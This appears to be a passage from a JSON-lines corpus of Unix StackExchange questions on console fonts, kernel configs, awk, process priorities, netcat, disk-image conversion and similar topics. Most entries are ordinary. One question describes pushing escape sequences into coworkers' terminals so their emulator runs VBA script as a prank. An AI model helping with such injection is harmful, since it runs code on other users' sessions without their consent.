`/etc` as so: KEYMAP=us FONT=Lat2-Terminus16 I rebooted and saw my newly set console font appear, only for it to reset just before the login prompt. Things to note: * running `/usr/lib/systemd/systemd-vconsole-setup` manually works fine * `systemctl status systemd-vconsole-setup.service` tells me that it has loaded and is \"active (exited)\" * I have indeed included the `consolefont` hook in `mkinitcpio.conf`"} {"_id": "57087", "title": "How can I tell if a kernel has some \"new\" config?", "text": "I'm making a simple kernel auto build script, right now I need to detect if there's a new config that need to ask the user (I don't want to use the default value), if so, it launches `make menuconfig` first, otherwise skip that part. Normally it just ask me to pick between `N`, `Y`, `M`. Is it possible?"} {"_id": "57088", "title": "How to start linpus linux on an Acer Gateway NE56R?", "text": "I just purchased a laptop and the pre-installed OS is Linpus Linux. It only shows: [root@localhost /]# What do I do? How can I tell if X is running? Do I need to install it?"} {"_id": "117527", "title": "Is there any way to play gpu accelerated video without X?", "text": "You can play use mplayer on fbdev, but not with the gpu. That's as close as I can find."} {"_id": "19971", "title": "Fedora 15 screensaver won't wake up after about 10 hours", "text": "I can switch to another Terminal via `CTRL`+`ALT`+`F2`, but the screen remains black and won't wake up. Sometimes, it wakes up after several retries. Any ideas to resolve it?"} {"_id": "153426", "title": "What does this netcat output mean?", "text": "I want to telnet into my locally running VM which has a dictd service running on port 2628, when I issue my nc -v command though I get the following: $ nc -v localhost 2628 nc: connectx to localhost port 2628 (tcp) failed: Connection refused found 0 associations found 1 connections: 1: flags=82 outif lo0 src 127.0.0.1 port 63929 dst 127.0.0.1 port 2628 rank info not available TCP aux info available Connection to localhost port 2628 [tcp/dict] succeeded! Why is there a connection refused and then a connection succeeded later on? What does this mean and why won't it accept my connection when I just do: `telnet localhost 2628`?"} {"_id": "102364", "title": "why ls reports a huge file and du does not?", "text": "When I run `arm-none-eabi-objcopy -O binary add.elf add.bin` everything seems to be ok. But, later when I run `ls -lh add.bin add.elf` this is the output I received: -rw-r--r-- 1 david david 2,6G nov 23 22:49 add.bin -rwxr-xr-x 1 david david 65K nov 23 22:40 add.elf this is a huge file. But when I run `du -h add.bin` the output is: 8,0K add.bin What's happening here? Edit: Output of `arm-none-eabi -A -t -x add.bin`: Warning: could not locate 'add.bin'. reason: Value too large for defined data type Output of `arm-none-eabi -A -t -x add.elf`: section size addr .text 0x2c 0x0 .data 0xc 0xa0000000 .ARM.attributes 0x14 0x0 Total 0x4c Output of `du -bh add.bin`: 2,6G add.bin This is how I fixed it: Initially when I link the program with the command `arm-none-eabi-ld -Tld_script.lds -o add.elf add.o` the ld script file `ld_script.lds` contains this: SECTIONS { . = 0x00000000; .text : { * (.text); } . = 0xA0000000; /* RAM starting address */ .data :{ * (.data); } } The above code fills from 0x00000000 to 0xA0000000 with 0s. This error can be solved the following way: SECTIONS { . = 0x00000000; .text : { * (.text); } flash_sdata = .; /* Start data in flash right after the text */ . = 0xA0000000; /* RAM starting address */ ram_sdata = .; /* AT specifies the load addr. of .data section */ .data : AT (flash_sdata) { * (.data); } ram_edata = .; /* Address of end of data in RAM */ data_size = ram_edata - ram_sdata; } And then in the source I added a piece to copy the data from Flash to RAM. Something like this: @ Copy data to RAM. start: ldr r0, =flash_sdata ldr r1, =ram_sdata ldr r2, =data_size copy: ldrb r4, [r0], #1 strb r4, [r1], #1 subs r2, r2, #1 bne copy If my English is not too precise, this is the link which helps me to fix the problem. (And a good site for learning ARM embedded programming)."} {"_id": "102365", "title": "Bridged network with different subnets", "text": "I want to virtualize my webserver with lxc/virsh for this reason, I want to pass a IP to the lxc container. But my IPs are from different subnets, what I tried (but not successfully): Virsh network: IP 1: xxx.xxx.184.96 (Dedicated Server IP) xxx.xxx.37.220 (For LXC) /etc/network/interfaces: auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address xxx.xxx.184.96 netmask 255.255.255.128 network xxx.xxx.184.0 broadcast xxx.xxx.184.127 gateway xxx.xxx.184.1 # dns-* options are implemented by the resolvconf package, if installed dns-nameservers 8.8.8.8 8.8.4.4 iface br0 inet static bridge_ports eth0 bridge_stp on address xxx.xxx.37.220 netmask 255.255.255.255"} {"_id": "117520", "title": "How to do restorecon -f recursively?", "text": "I have tried both with a file and using standard input, and it seems it is impossible to get `restorecon -r -f [file|-]` to do anything at all. Is this possible?"} {"_id": "91954", "title": "gtk-color-scheme = \"bg_color: red\\ results in red bg + red scroll bar bg + red scroll bar ? where is the logic?", "text": "Let's edit this theme's gtkrc file: vi vi /usr/share/themes/industrial/gtk-2.0/gtkrc gtk-color-scheme = \"bg_color: #000000000000\\ nfg_color: #ffffff\\nbase_color: #000000000000\\ ntext_color: #ffffff\\nselected_bg_color: #ffffff\\ nselected_fg_color: #000000000000\\ ntooltip_bg_color: #000000000000\\ ntooltip_fg_color: #ffffff Let's change the bg_color to \"red\" and apply the theme to the desktop. But the problem is this, the background of every scroll bar, and the foreground of the scroll bar, both become red, this makes it impossible to see the scroll bar due to the background being same color as the scroll bar. By scroll bar I am referring to the scroll bar in firefox web browser for example that you'd use to scroll up and down. I am currently using my mouse's wheel button because the scroll bar does not look visible. Why are colors being applied this way? Why isn't there a distinction between the foreground and the background of the scroll bars?"} {"_id": "72469", "title": "Gawk: Passing arrays to functions", "text": "Stuck with GNU awk 3.1.6 and think I've worked around its array bugs but still have what looks like a scope problem in a 600-line awk program. Need to verify understanding of array scope in awk to find my bug. Given this illustrative awk code... function foo(ga) { ga[1] = \"global result\" } garray[1] = \"global\" foo(garray) print garray[1] will print... global result Since arrays are always passed to functions by reference, then all arrays are always global. There is no way to create a local array. Is this correct? Have been unable to find docs that explicitly say that. Since I'm debugging, and 3.1.6 itself has known bugs in this area, am trying to determine where awk's bugs leave off and mine begin. **Supplemental: Why does ga[] work inside the function then?** First of all, passing the array to the function with `foo(ga)` is actually unnecessary. Just access it as `garray[]` inside the function. There's no measurable performance penalty in doing it however, and it helps in debugging and error reporting. In using `foo(ga)`, `ga[]` is a synonym for the global array `garray[]`. Instead of being a local copy of `garray[]`, it is simply a pointer to `garray[]`, rather like a symbolic link is a pointer to a file and thus the same file (or array) can be accessed under more than one name. **Supplemental: Clarification of Glenn Jackman's answer** While arrays created _outside_ a function are global to the function and may be passed to it or just referenced within it, arrays created _inside_ a function do indeed remain local to the function and not visible outside it. Modifying Mr. Jackman's example illustrates this... awk ' function bar(x,y) { split(\"hello world\", y) print \"x[1] inside: \" x[1] print \"y[1] inside: \" y[1] } BEGIN { x[1]=\"goodbye\" print \"x[1] before: \" x[1] print \"y[1] before: \" y[1] bar(x) print \"x[1] after: \" x[1] print \"y[1] after: \" y[1] } ' x[1] before: goodbye y[1] before: x[1] inside: goodbye y[1] inside: hello x[1] after: goodbye y[1] after: Note that we are only passing the `x[]` array (actually, just a pointer to it) to `bar()`. The `y[]` array doesn't even exist until we get inside the function. However, if we declare `y[]` by including it in the `bar()` argument list without assigning anything to it outside the function, it becomes visible after calling `bar(x,y)`... awk ' function bar(x,y) { split(\"hello world\", y) print \"x[1] inside: \" x[1] print \"y[1] inside: \" y[1] } BEGIN { x[1]=\"goodbye\" print \"x[1] before: \" x[1] print \"y[1] before: \" y[1] bar(x,y) print \"x[1] after: \" x[1] print \"y[1] after: \" y[1] } ' x[1] before: goodbye y[1] before: x[1] inside: goodbye y[1] inside: hello x[1] after: goodbye y[1] after: hello Finally, if we create the `y[]` array outside the function and pass it with `bar(x,y)`, the `split()` assignment inside the function replaces that array's elements... awk ' function bar(x,y) { split(\"hello world\", y) print \"x[1] inside: \" x[1] print \"y[1] inside: \" y[1] } BEGIN { x[1]=\"goodbye\" y[1]=\"howdy\" print \"x[1] before: \" x[1] print \"y[1] before: \" y[1] bar(x,y) print \"x[1] after: \" x[1] print \"y[1] after: \" y[1] } ' x[1] before: goodbye y[1] before: howdy x[1] inside: goodbye y[1] inside: hello x[1] after: goodbye y[1] after: hello"} {"_id": "6813", "title": "How do I turn on http compression?", "text": "I'm running a CentOS server and I want to save bandwidth, make pages faster, all that. How can I turn on http compression? Is it a module I enable for all sites? Can it be that simple?"} {"_id": "15703", "title": "Console tool to test internet bandwidth", "text": "I'm looking for a tool that will test my internet connection bandwidth and create an simple report like speedtest does. Do you know some program/tool that do this? Something with CentOS packages would be nice."} {"_id": "6815", "title": "Find incoming symlinks", "text": "In Linux, what is the best way to find all symbolic links that point to a given file (regardless of whether the symlink is relative or absolute)? I realize this will require scanning the whole filesystem."} {"_id": "91957", "title": "I use : gtk-chtheme & obconf , each one has 1 theme selected, for gtk-2.0 and non-gtk-2.0 areas, but when I delete all other themes.. stuff breaks", "text": "Based on my `obconf` I have \"DiceBox\" theme selected. Based on my `gtk- chtheme`, I have \"Shiki-JetBlack\" selected. Which means I can go into /usr/share/themes/ and just delete everything except these two right? I did just that and suddenly my scroll bar's color changed when I re-loaded Firefox and other programs. Why? What other theme am I making use of besides these 2 that I don't know about?"} {"_id": "15706", "title": "Finding an earlier version to downgrade to", "text": "On my Debian server, I upgraded the SQLite package to version `3.7.7` but discovered that it contains a critical bug that breaks several things including my Subversion repository. So, I would like to downgrade back to the previous version I was using. But: * I have no idea what that version was (I assume it was `3.7.6.3`, but I'm not certain). * The only other version I find available for the SQLite package in `aptitude` is `3.5.9.6` which is too early for the Subversion package I'm using (it requires at least `3.6`). How can I identify and downgrade to the version of SQLite I was using, and which might still be in a cache on my computer? Or, failing that, how can I tell `aptitude` where to download intermediate versions of that package?"} {"_id": "9757", "title": "Hibernate and security considerations", "text": "How do Linux and OSX handle sensitive memory pages (e.g. cryptographic keys) when running OS is suspended to disk? If the memory image written is encrypted, how are its keys handled?"} {"_id": "9756", "title": "Are all system call error numbers unique?", "text": "I'm writing a program for Systems Programming in Unix, and one of the requirements is to process all possible error returns from system calls. So, rather than having a function tailored to each system call, I'd like to have one function take care of that responsibility. So, are all error number returns unique? If not, what areas of overlap exist?"} {"_id": "107704", "title": "Debian: keep custom changes in initscript", "text": "I had to modify the initscript for Postfix `/etc/init.d/postfix` to customize it for my special needs. Now I want to ensure, that in case of the `postfix` package being updated in the future (I am running Debian Wheezy Stable, but there could still be a security update) my modified initscript will not be overwritten. As I understand, packages ask before overwriting `config` files, but not initscripts. What is the recommended way to do it (cleanly) ?"} {"_id": "91951", "title": "How do I copy and paste seperately?", "text": "I know for the `cp` command you have to specify the source(s) and destination. But what if I have to copy say all folders under `src` folder, **do some other operations** , and then `paste` later on? In short, can I separately copy and paste in a bash shell or a terminal?"} {"_id": "80595", "title": "How to follow and seek in a file being piped through a filter, in less", "text": "I basically wish to seek, search and follow a growing log file _after passing it through a`sed` filter_. I figured I need to follow a file with `tail -f` pipe it to `sed` and then pipe that to `less`. For testing, I first tried combining `tail -f` and `less +F` to no avail: * `tail -f file | less +F` -- less doesn't run before one presses `Ctrl`+`C` to stop tail's following. `less` options `-B -b 1` do not help. * `less +F -f <(tail -f file)` exhibits the same behavior. If anyone knows a better/simpler solution than what I figured out in the end, I'd appreciate it."} {"_id": "24146", "title": "Avoiding \"BASH-isms\" in shell scripts", "text": "Does there exist a tool similar to Perl::Critic that will inspect your shell scripts and point out flaws, portability issues, uses of non-standard programs without fallbacks, depreciated program uses, etc? I realize that `set -o posix` will disable non-POSIX usage, but that won't tell me things I want to know, such as zsh indexing shell arrays starting at 1, and bash, from 0, and ash not supporting arrays at all."} {"_id": "37305", "title": "Can I write control characters to someone else's terminal?", "text": "A lot of people log into the same AIX 6.1 server as I do with a terminal emulator that automatically interprets and runs code encapsulated by certain control characters as VBA script instead of writing it to the display. So as a prank, I have a file that contains a sequence of characters that displays a message in a popup box that I want to write to their terminals. $ cat msgbox.txt *message box pops up* But when I write it to someone, the effect is lost: `$ cat msgbox.txt | write *my other sesssion*` On the other session: `Message from *myself* [*datetime*] \\o 33 *code to show a msgbox* \\o 33\\` Where the \"\\o 33\" replaces ASCII character 27. Is it possible to send control characters through write, or do I need to do something different?"} {"_id": "28384", "title": "How can same fd in different processes point to the same file?", "text": "Say I have _process 1_ and _process 2_. Both have a file descriptor corresponding to the integer 4. In each process however the file descriptor 4 points to a totally different file in the Open File Table of the kernel: ![enter image description here](http://i.stack.imgur.com/il1YV.png) How is that possible? Isn't a file descriptor supposed to be the index to a record in the Open File Table?"} {"_id": "37302", "title": "Does the linux kernel (specifically 2.6 onwards) have any recursive function?", "text": "Given the limited fixed size of kernel stack, my guess is that although theoretically we might have a recursive function if its recursion doesn't go too deep, pragmatism would suggest to do away with recursive functions all together, to be on a safer side. After all, too much of recursion can result in wiping off the *thread_info_t* struct and a resultant kernel panic"} {"_id": "37309", "title": "Debian Mouse Preference?", "text": "I just loaded Debian onto a live usb today for the first time. I successfully killed my laptops annoying trackpad with the synclient command, but now I can't figure out how to get Debian to stop putting my mouse to sleep everytime I stop using it for a few seconds. Does anyone know how to disable this or at the very least extend the time."} {"_id": "112235", "title": "How to renice a group of processes?", "text": "`lb build` can build live system image, and it invokes many processes while building the image. If I start it as below: # nice -n 19 ionice -n 7 -c 3 lb build all the children processes get the same nice level: PID USER IORR IOWR IO IO PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command 26196 morfik 0 0 0 B4 20 0 23888 672 668 S 0.0 0.1 0:00.24 \u2502 \u251c\u2500 -bash 30926 root 0 0 0 B4 20 0 53668 536 536 S 0.0 0.1 0:00.02 \u2502 \u2502 \u2514\u2500 su - 31008 root 0 0 0 B4 20 0 34656 6260 1144 S 0.0 0.6 0:02.60 \u2502 \u2502 \u2514\u2500 -su 11784 root 0 0 0 ?? 39 19 4496 796 524 S 0.0 0.1 0:00.01 \u2502 \u2502 \u2514\u2500 /bin/sh /usr/lib/live/build/build 11797 root 0 0 0 ?? 39 19 4328 612 512 S 0.0 0.1 0:00.00 \u2502 \u2502 \u2514\u2500 /bin/sh ./auto/build 11806 root 0 0 0 ?? 39 19 7028 604 504 S 0.0 0.1 0:00.00 \u2502 \u2502 \u251c\u2500 tee build.log 11798 root 0 0 0 ?? 39 19 4496 824 532 S 0.0 0.1 0:00.01 \u2502 \u2502 \u2514\u2500 /bin/sh /usr/lib/live/build/build noauto 11915 root 0 0 0 ?? 39 19 4496 836 544 S 0.0 0.1 0:00.01 \u2502 \u2502 \u2514\u2500 /bin/sh /usr/lib/live/build/bootstrap 12753 root 0 0 0 ?? 39 19 4496 856 548 S 0.0 0.1 0:00.02 \u2502 \u2502 \u2514\u2500 /bin/sh /usr/lib/live/build/bootstra 12867 root 0 0 0 ?? 39 19 62980 3508 2132 S 11.2 0.3 0:07.00 \u2502 \u2502 \u2514\u2500 aptitude --assume-yes update 12943 root 0 0 0 ?? 39 19 24296 1916 1568 S 0.0 0.2 0:00.14 \u2502 \u2502 \u251c\u2500 /usr/lib/apt/methods/xz 12927 root 0 0 0 ?? 39 19 53280 30688 30172 R 86.5 3.0 0:28.65 \u2502 \u2502 \u251c\u2500 /usr/lib/apt/methods/rred 12891 root 0 0 0 ?? 39 19 24304 1784 1440 S 0.0 0.2 0:00.00 \u2502 \u2502 \u251c\u2500 /usr/lib/apt/methods/gpgv 12889 root 0 0 0 ?? 39 19 24292 1624 1384 S 0.0 0.2 0:00.00 \u2502 \u2502 \u251c\u2500 /usr/lib/apt/methods/copy 12887 root 0 0 0 ?? 39 19 32860 1956 1560 S 0.0 0.2 0:00.17 \u2502 \u2502 \u251c\u2500 /usr/lib/apt/methods/http 12886 root 0 0 0 ?? 39 19 24292 1696 1444 S 0.0 0.2 0:00.00 \u2502 \u2502 \u2514\u2500 /usr/lib/apt/methods/fil But I forgot to add this `nice -n 19 ionice -n 7 -c 3` and ran just `lb build`. So, I tried to `renice` the parent process: # renice -n 19 -p 6187 But this doesn't renice the other processes. So, it looks like this: 26196 morfik 0 0 0 B4 20 0 23888 668 664 S 0.0 0.1 0:00.24 \u2502 \u251c\u2500 -bash 30926 root 0 0 0 B4 20 0 53668 528 528 S 0.0 0.1 0:00.02 \u2502 \u2502 \u2514\u2500 su - 31008 root 0 0 0 B4 20 0 34656 5952 1224 S 0.0 0.6 0:02.62 \u2502 \u2502 \u2514\u2500 -su 6187 root 0 0 0 B7 39 19 4496 800 524 S 0.0 0.1 0:00.00 \u2502 \u2502 \u2514\u2500 /bin/sh /usr/lib/live/build/build 6349 root 0 0 0 B4 20 0 4328 612 512 S 0.0 0.1 0:00.00 \u2502 \u2502 \u2514\u2500 /bin/sh ./auto/build 6351 root 0 0 0 B4 20 0 7028 592 488 S 0.0 0.1 0:00.00 \u2502 \u2502 \u251c\u2500 tee build.log 6350 root 0 0 0 B4 20 0 4496 828 532 S 0.0 0.1 0:00.01 \u2502 \u2502 \u2514\u2500 /bin/sh /usr/lib/live/build/build noauto 6445 root 0 0 0 B4 20 0 4496 840 548 S 0.0 0.1 0:00.00 \u2502 \u2502 \u2514\u2500 /bin/sh /usr/lib/live/build/bootstrap 7580 root 0 0 0 B4 20 0 4496 856 552 S 0.0 0.1 0:00.02 \u2502 \u2502 \u2514\u2500 /bin/sh /usr/lib/live/build/bootstra 7692 root 0 0 0 B4 20 0 62924 5236 3848 S 15.5 0.5 0:03.78 \u2502 \u2502 \u2514\u2500 aptitude --assume-yes update 7932 root 0 0 0 B4 20 0 54776 16480 15916 R 84.1 1.6 0:16.60 \u2502 \u2502 \u251c\u2500 /usr/lib/apt/methods/rred 7912 root 0 0 0 B4 20 0 24296 2036 1648 S 0.0 0.2 0:01.62 \u2502 \u2502 \u251c\u2500 /usr/lib/apt/methods/gzip 7733 root 0 0 0 B4 20 0 27948 5552 1632 S 0.0 0.5 0:02.85 \u2502 \u2502 \u251c\u2500 /usr/lib/apt/methods/bzip2 7711 root 0 0 0 B4 20 0 24304 1780 1436 S 0.0 0.2 0:00.00 \u2502 \u2502 \u251c\u2500 /usr/lib/apt/methods/gpgv 7709 root 0 0 0 B4 20 0 30800 2200 1812 S 0.0 0.2 0:01.01 \u2502 \u2502 \u2514\u2500 /usr/lib/apt/methods/http I could renice all the processes manually but they are changing. **EDIT#1** The following command: # nice -n 19 ionice -n 7 -c 3 lb build sets also: > ionice - sets or gets process io scheduling class and priority. ... > > -c, --class scheduling class name or number 0: none, 1: realtime, 2: best- > effort, 3: idle > > -n, --classdata scheduling class data 0-7 for realtime and best-effort > classes How to set `-c` and `-n` option of `ionice` to the processes?"} {"_id": "112234", "title": "Linux Mint MATE: Disable encrypted volume password dialog", "text": "I'm running the MATE edition of Linux Mint on my laptop. I have an external USB disk with a LUKS container on it. The USB disk is connected to the laptop's docking station. Whenever I connect the laptop to the docking station, MATE pops up a window which says, \"Enter a password to unlock the volume\" along with a text field and options to forget the password immediately, remember until logout, or remember forever. (Not \"don't show me this popup again,\" which is what I would prefer.) Under normal use, I want to have this external USB disk unmounted and idle. I have a cron job which unlocks the disk via a key file, mounts the partition, and runs an automated backup. I don't want this partition to be mounted all the time, nor do I want it to be accessible to my ordinary (non-privileged) user account. Is there any way to tell gvfs (or whatever is doing this) to please stop showing me the \"enter password\" dialog every time I dock my laptop to the docking station?"} {"_id": "112237", "title": "Running commands on startup on a Red Hat server", "text": "I have a Red Hat server instance on AWS that I'm trying to make a nice AMI image of so I can test specific instance machine types with Apache Bench (`ab`). I'm currently just trying to create the OS image with everything how I would like it. Currently I have httpd installed on the image. I want it so that when this image boots it automatically starts hosting its page. Currently I'm starting the `httpd` service and stopping the `iptables` service to get the page to be served. Is there are way I can issue these commands on start up so that the page is served without having to SSH into the image and do it manually?"} {"_id": "117529", "title": "How to reset user password for an RSA II card?", "text": "I've got root access on a SLES 9 with a Remote Supervisor Adapter II Refresh 1 card :) The password for the user for the RSA card is incorrect. **My question:** How can I reset the RSA user's password without rebooting the machine?"} {"_id": "59959", "title": "Why do Linux people always say to read the manual?", "text": "Why do Linux people always say to read the manual when it would be so much easier to just give you an answer? There's no manual! It didn't come with one."} {"_id": "59950", "title": "Transfer a file from Android to a PC (not in the same network)", "text": "If I were connected by wifi in my network, there isn't any problem because with AirDroid I can access the sdcard files using the browser. However when I am out, how can I transfer a file from my phone to my PC? I can access my PC using SSH, but then from the PC I can't access the phone for get file using SCP. I guess the question is: Is there any app that allow do such action? I think the only possible thing is install a SSH server in the phone, isn't it?"} {"_id": "59953", "title": "PDF tool similar to ImageMagick", "text": "I was introduced to ImageMagick a few months back for manipulating images for print but now I'm curious to know if anyone has seen one for `.pdf`? I would like to create scripts that will check or modify crop, bleed, font embedding, and the like."} {"_id": "59955", "title": "Why does \"su -c &\" seemingly allow a command to run in the background without hanging up", "text": "I was helping a colleague who was having problems with a background process intermittently dying. I found out that they were starting the background process by logging in to the server and executing: su - -c '' & \"Aha\", I exclaimed. \"If you start a command with \"&\" it will hang-up when you exit the controlling terminal. You need to use something like nohup to achieve this. Really this process needs to support running as a daemon, tut tut.\" We tested the above command to demonstrate my point and... it seemed to work: the process started by _command_ didn't exit when the we exited the terminal that ran the above command. _command_ is a custom Python script whose output goes to a file. As far as I can tell there is no intelligent \"daemonize\" like capability in the script. It doesn't do any of the things needed to run as a daemon listed here 1 Running the command like so behaves as expected: & exit In the above case the background process started by _command_ exits when we exit the terminal. My question is this: 1. What is happening when we add \"su - -c &\" that prevents the process from exiting when our terminal exits. I would like to understand in detail with respect to the controlling terminal, standard input and output etc. 2. Is this a reasonable way to achieve the goal of running this command as a background process. If not why, not? I want to propagate best practice within my company, but I need to be able to demonstrate and back-up any recommendations I make. Also, I just want to understand what is going on exactly."} {"_id": "59957", "title": "Automatic kernel configuration tool", "text": "Is there any developed automatic linux kernel configuration tool? I have found a method of `make localmodconfig`, but it is certainly very limited. I have searched the web but unfortunately have not come to any acceptable result. Although I am quite conversant in kernel configuration issues, I would like to optimize my time wasted on configuration every new system with particular hardware, since it is rather technical work that creative."} {"_id": "59956", "title": "Reorder folders on FAT32 drive", "text": "My car can read MP3 files from a FAT32 flash drive. I have a folder for each artist on the drive, then MP3 files in those folders. However the car does not read the folders alphabetically, but by the order they were added to the drive. I can use **DriveSort** to sort the drive after I add a new artist. Could this \"sorting\" be done from the command line, perhaps using `touch`?"} {"_id": "146869", "title": "Replace column entry with sum of other column entries", "text": "Let's say I have a file that contains these lines: 02.03.14 14.50 14.50 0.00 Desc 02.03.14 17.00 0.00 17.00 Desc 01.03.14 2.82 1.68 calc Desc 02.03.14 1.04 0.00 1.04 Desc 06.03.14 6.00 0.00 6.00 Desc 08.03.14 11.76 2.98 calc Desc 10.03.14 3.27 0.00 3.27 Desc I want to replace all column entries containing `calc` (only appearing in the `4th` column) to contain the difference between the `3nd` and `2nd` column, so `4th=3rd-2nd`. How can I do so?"} {"_id": "146861", "title": "Remove backslash + newline sequences", "text": "We are having a file in Linux which contains one line per record, but problem comes when the line contains some new line characters. In this case, the backslash is appended at the end of line and the record is split into multiple lines. So below is my problem: \"abc def \\ xyz pqr\" should be: \"abc def xyz pqr\" I tried `sed -I 's/\\\\\\\\\\n/ /g' ` which is not working. I also tried the `tr` command but it replaces only one character, not the string. Can you please suggest any command to handle this issue."} {"_id": "137183", "title": "How do you \"disable\" oh-my-zsh (and zsh) without uninstalling it?", "text": "I was trying new dev environments including zsh and oh-my-zsh. Now that I have installed oh-my-zsh, it starts by default on my terminals (iTerm2 and terminal) always start with zsh and with the settings on from oh-my-zsh. I was wondering if it was possible to \"disable\" or stop using zsh and its setup with oh-my-zsh without having to uninstall oh-my-zsh? It would also be nice to know how to turn them back on too. Currently, my terminals goes into zsh automatically (I think) and use the oh- my-zsh automatically. I want to have more control over that and me able to control both, when the zsh is being used and when the oh-my-zsh features are being used. One thing I am also interested on knowing is, how do the terminal applications know which shell to start running on start up. That would be nice to be able to control too! If you explain as much as you can of the \"why\" of every command you give me, that would useful! :) * * * I am on OS X. Not sure if that matters, but I tend to like answers more that are more applicable to more general Unix environments rather to my own."} {"_id": "137180", "title": "Use the sed command to search text file for entries 10000 and under", "text": "I'm trying to use the `sed` command to search a file for all entries 10000 and under but I think this incomplete `sed` search string might be for entries 10000 and over: sed -n \"/[0-9][0-9][0-9][0-9][0-9]/ q\" logfile"} {"_id": "72458", "title": "Unable to find an option to install CentOS 6.4 (64bit) in command line (linux text) for Asterisk", "text": "I am trying to learn Asterisk, so I downloaded the latest CentOS 6.4 (64bit) to install on VMWare Workstation 9. When I started the installation it is not giving any screen to start the installation in command line mode, like it did with CentOS 5.5 (like type linux text command). The reason I want to install it in CLI is that I do not know Linux at all except a few commands and CLI gives option to uncheck GENOME, KDE, Server and more during installation. I really do not know what options to select in GUI while installing from the customization menu (like what all components to install). Is there any way to do it? I am also wondering if the MINIMAL install feature on CentOS 6.4 (64bit) is same as CentOS 5.5 (32bit), where if we start installation with \"linux text\" command and unselect every package including KDE, GENOME, SERVER and etc."} {"_id": "146865", "title": "Window resize slowly and freeze with compton, openbox and catalyst-hoo", "text": "I'm try for the second time use Arch Linux. In this installation I get: * openbox * tint2 * compton * catalyst-hook (Vi0L0's) After starting the compton, I can not see what I'm typing in the terminal, videos (flash/html) freeze in fullscreen, teamviewer stops working and resize any window is extremely slow. If I kill compton, everything it's work BUT resize keep slow. How can I fix that? **~/config/compton.conf** backend = \"glx\"; paint-on-overlay = true; glx-no-stencil = true; glx-no-rebind-pixmap = true; refresh-rate = \"60\"; vsync=\"none\" # Shadow shadow = false; no-dock-shadow = true; # Avoid drawing shadows on dock/panel windows. no-dnd-shadow = true; # Don't draw shadows on DND windows. shadow-exclude = [ \"n:w:*Firefox*\" ]; # Not sure what it does or if it works # Fading fading = false; no-fading-openclose = true **/etc/X11/xorg.conf** Section \"ServerLayout\" Identifier \"aticonfig Layout\" Screen 0 \"aticonfig-Screen[0]-0\" 0 0 EndSection Section \"Module\" EndSection Section \"Monitor\" Identifier \"aticonfig-Monitor[0]-0\" Option \"VendorName\" \"ATI Proprietary Driver\" Option \"ModelName\" \"Generic Autodetecting Monitor\" Option \"DPMS\" \"true\" EndSection Section \"Device\" Identifier \"aticonfig-Device[0]-0\" Driver \"fglrx\" BusID \"PCI:1:0:0\" EndSection Section \"Screen\" Identifier \"aticonfig-Screen[0]-0\" Device \"aticonfig-Device[0]-0\" Monitor \"aticonfig-Monitor[0]-0\" DefaultDepth 24 SubSection \"Display\" Viewport 0 0 Depth 24 EndSubSection EndSection **~/.config/openbox/autostart.sh** tint2 & sh ~/.fehbg & conky -c ~/.conky/conkyrc_grey & compton --backend glx --paint-on-overlay --glx-no-stencil --vsync opengl-swc --shadow-e xclude \"! name~=''\" --config ~/.config/compton.conf -b & pulseaudio --start & **~/.xinitrc** #!/bin/sh # # ~/.xinitrc # # Executed by startx (run your window manager from here) if [ -d /etc/X11/xinit/xinitrc.d ]; then for f in /etc/X11/xinit/xinitrc.d/*; do [ -x \"$f\" ] && . \"$f\" done unset f fi # exec gnome-session # exec startkde # exec startxfce4 # ...or the Window Manager of your choice exec openbox-session"} {"_id": "136856", "title": "unable to chown a directory recursiverly \"unknown user id\"", "text": "I trying to chown the directory for changing the permissions of the directory. But it shows some error as unknown user id I tried to `chown` using the command : `chown -R www-data [directory name]` it shows the error as `unknown user id www-data` How to get rid of this."} {"_id": "136854", "title": "Understanding the difference between pid_max, ulimit -u and thread_max", "text": "I am trying to understand the Linux processes. I have confusion on the terms `pid_max`, `ulimit -u` and `thread_max`. What exactly is the difference between these terms? Can someone clarify me the differences?"} {"_id": "136853", "title": "Conversion of disk image from Encase (E01) to Raw format", "text": "I am trying to convert from EnCase to Raw format using instructions given on this page. The following takes place: manu@ubuntu:~/Downloads$ ewfexport nps-2010-emails.E01 The program 'ewfexport' is currently not installed. You can install it by typing: sudo apt-get install ewf-tools manu@ubuntu:~/Downloads$ sudo apt-get install ewf-tools [sudo] password for manu: Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: ewf-tools 0 upgraded, 1 newly installed, 0 to remove and 503 not upgraded. Need to get 162 kB of archives. After this operation, 438 kB of additional disk space will be used. Get:1 http://archive.ubuntu.com/ubuntu/ quantal/universe ewf-tools amd64 20100226-1build2 [162 kB] Fetched 162 kB in 2s (65.7 kB/s) Selecting previously unselected package ewf-tools. (Reading database ... 158500 files and directories currently installed.) Unpacking ewf-tools (from .../ewf-tools_20100226-1build2_amd64.deb) ... Processing triggers for man-db ... Setting up ewf-tools (20100226-1build2) ... manu@ubuntu:~/Downloads$ ewfexport nps-2010-emails.E01 ewfexport 20100226 (libewf 20100226, libuna 20091031, libbfio 20091114, zlib 1.2.3.4, libcrypto 1.0.0, libuuid) Information for export required, please provide the necessary input Export to file format (raw, ewf, smart, ftk, encase1, encase2, encase3, encase4, encase5, encase6, linen5, linen6, ewfx) [raw]: raw Target path and filename with extension or - for stdout: /user/manu/Downloads nps Start export at offset (0 >= value >= 10485760) [0]: 0 Amount of bytes to export (0 >= value >= 10485760) [10485760]: Export started at: Fri Jun 13 02:54:12 2014 This could take a while. Unable to open output. export_handle_open_output: unable to open file: /user/manu/Downloads nps. I had to copy and paste from the terminal,as I am a newbie,I am not allowed to post more than two links or any pictures. This question is very important as it is required for the summer intern I am currently pursuing. Please help me to understand the intermediate prompt messages and to convert the file from **_EnCase_** to **_Raw_** format. The Digital Corpus (The EnCase file) is downloaded from Digital Corpora."} {"_id": "77850", "title": "Launcher for a Python program that requires extra libraries", "text": "I'm trying to get a launcher working for the WikidPad (python) program. I already have a python program, so I looked into the file `/usr/share/applications/taskcoach.desktop`. The exec line was simply `taskcoach.py`. But I cannot start WikidPad just typing \"WikidPad.py\", I have to write `python WikidPad.py`, then it starts correctly from the command line. So I made the `.desktop file` for wikidpad, in the exec line I wrote `python /home/abc/wikidpad/WikidPad.py`. But it seems that you have to be in the same directory in order to get correct results, otherwise there is the error `No module named pwiki.Enum`. So I changed the exec line into `cd /home/abc/wikidpad;python WikidPad.py`. But that did also not work, the error message was `cd could not be executed, file or directory not found`. If I want to execute a Linux command in a bash script and I get an error \"command/file not found\", I adjust the PATH 